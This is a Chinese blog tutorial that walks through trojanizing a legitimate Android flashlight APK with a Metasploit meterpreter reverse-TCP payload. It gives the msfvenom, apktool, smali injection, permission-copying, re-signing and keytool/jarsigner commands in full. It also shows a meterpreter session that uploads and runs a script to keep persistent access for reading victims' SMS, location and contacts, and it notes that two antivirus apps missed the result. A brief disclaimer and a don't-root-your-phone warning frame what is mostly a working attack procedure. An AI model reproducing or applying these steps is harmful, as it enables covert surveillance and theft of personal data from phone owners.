如何手动注入Payload后门到安卓APK文件并维持访问
作者:admin | 时间:2017-5-4 02:40:59 | 分类:黑客技术 隐藏侧边栏展开侧边栏
声明:本文内容可能具有攻击性,只供安全研究和警示作用,请勿用于非法用途,非法使用后果与我无关。
本人小白一枚,前段时间看到@鸢尾 大神写的文章《如何用kwetza给安卓应用加后门》。大神自己写的自动化注入工具,看过程也并不困难,我就产生了自己手动注入的想法,折腾了一天终于搞定了。
当然已经有有好多的自动化注入工具可以使用了,我先总结一下:
1.backdoor-apk :https://github.com/dana-at-cp/backdoor-apk
2. spade: https://github.com/suraj-root/spade
3. apk-embed-payload.rb:https://gist.github.com/SkullTech/a62d106b55562cc1ab88
4:当然还有@鸢尾大神的kwetza。
欢迎补充哈!!!
好了,开始正文。
先捋一下思路,把PAYLOAD小马注入到一个目标apk文件中,关键是要找到目标APK的入口,并把启动payload小马的代码添加进去,随目标APK一起启动,从而实现监听手机的目的。当然前提是apk文件可逆。
这里使用注入目标apk文件:(百度)手电筒—-小米应用市场下载的
顺着思路,我们先用msf生成小马。
step 1:
msfvenom -p android/meterpreter/reverse_tcp LHOST=本机IP LPORT=监听端口号 -o 应用名.apk
我们可以看到,payload小马只有8.8 KB (8,843 字节),非常小,可谓短小精悍。
step 2:
反编译payload小马houmen.apk和手电筒.apk
apktool d /root/houmen.apk
apktool d /root/手电筒-1.0.3_4.apk
我们得到了反编译之后的文件。
step 3 :
开始寻找手电筒-1.0.3_4.apk文件的入口,在手电筒-1.0.3_4的Manifest.xml文件中查找Main和Launch关键词,定位到所对应的启动smail文件
搜索Main和Launch关键词
好了,直接找到com/baidu/flashliaght/MainActivety.smail文件,终于到关键时候了,我们要在手电筒启动的activety中添加启动PAYLOAD小马的代码。
直接搜索onCreat函数,找到bundle对象,你并在下面添加启动payload代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)Vv
点击保存之后呢,我们还要把刚才反编译的payload文件中的smail代码复制过来,把payload的smail/com/metasploit文件复制到手电筒的smail/com/目录下。
OK,现在基本已经大功告成了。直接保存退出就好。
接下来呢,我们还有一个问题,就是权限的问题,payload小马作为监听程序,肯定少不了有很多权限,而手电筒作为一个简单的工具,权限肯定很少,因此要想使监听功能更齐全,我们有必要补充一下权限。首先对比houmen.apk和手电筒.apk的权限清单,把手电筒没有的权限从houmen.apk直接复制过来,当然了,注意不要复制重复了。
大家注意看我们所添加的权限,都是一些敏感的,容易泄露个人信息的高危权限。一会我们要测试。
现在保存退出,剩下的就是回编译签名了。
回编译:apktool b /root/手电筒-1.0.3_4
生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222
签名:jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1
终于完工了,我们把生成的应用装到手机,并打开msf控制台,设置好监听参数后,等待上线。
成功上线!!!!
完事之后呢,接上面的权限问题,既然我们添加了那么多高危权限,手机杀软能查出来吗? 我用我的手机进行了实测:
上面的360和腾讯手机管家实测扫描结果,竟然都没有报毒,想想好可怕啊。
因此提醒大家,自己用的手机就别ROOT了,普通应用就不要给太多权限了,哎,还是老梗,说的再多,依然有人不听欸。
写到这呢,本来就完了,但是还有一个问题,就是payload小马有个缺点,就是启动后,我在xiaomi5实测,大概一分钟就掉线,很让人恼火啊,如果目标手机一直不再点击这个应用,我们就干瞪眼了。并且这还是一个低频的应用,好几天也不知会不会用一回。
怎么解决呢,我找了好久,终于找到个方法,当然不是我原创啊,我们拿来用。就是用一个sh脚本,关联小马,让其隔段时间启动一回。脚本如下:
如何使用呢,我们需要在启动监听时,把脚本上传到手机,然后运行即可:
meterpreter > pwd #找到当前路径
/data/user/0/com.baidu.flashlight/files
meterpreter > cd /data/user/0/com.baidu.flashlight/files
meterpreter >
meterpreter > upload /root/桌面/chixu.sh #上传脚本
[*] uploading : /root/桌面/chixu.sh -> chixu.sh
[*] uploaded : /root/桌面/chixu.sh -> chixu.sh
meterpreter > shell
Process 1 created.
Channel 2 created.
pwd
/
cd /data/user/0/com.baidu.flashlight/files #找到脚本所在文件夹
ls
be03bdfb7aec72fd9195311f2656619a
chixu.sh
sh chixu.sh #运行脚本
这个过程一定要快,应为payload随时会断开,要抓紧时间。运行脚本后呢,等待一会,稳定之后就可以持续维持访问了。
到此呢,你就可以持续的访问了。
查看短信,定位,读取联系人,等都可以实现。
啰里啰唆的,写到这,终于写完了。小白能力有限,纯属业余,大神勿喷!!!
So,送个视频给那些在努力的小伙伴,just do it.
https://v.qq.com/x/page/z0342acx2u3.html
*本文原创作者:永生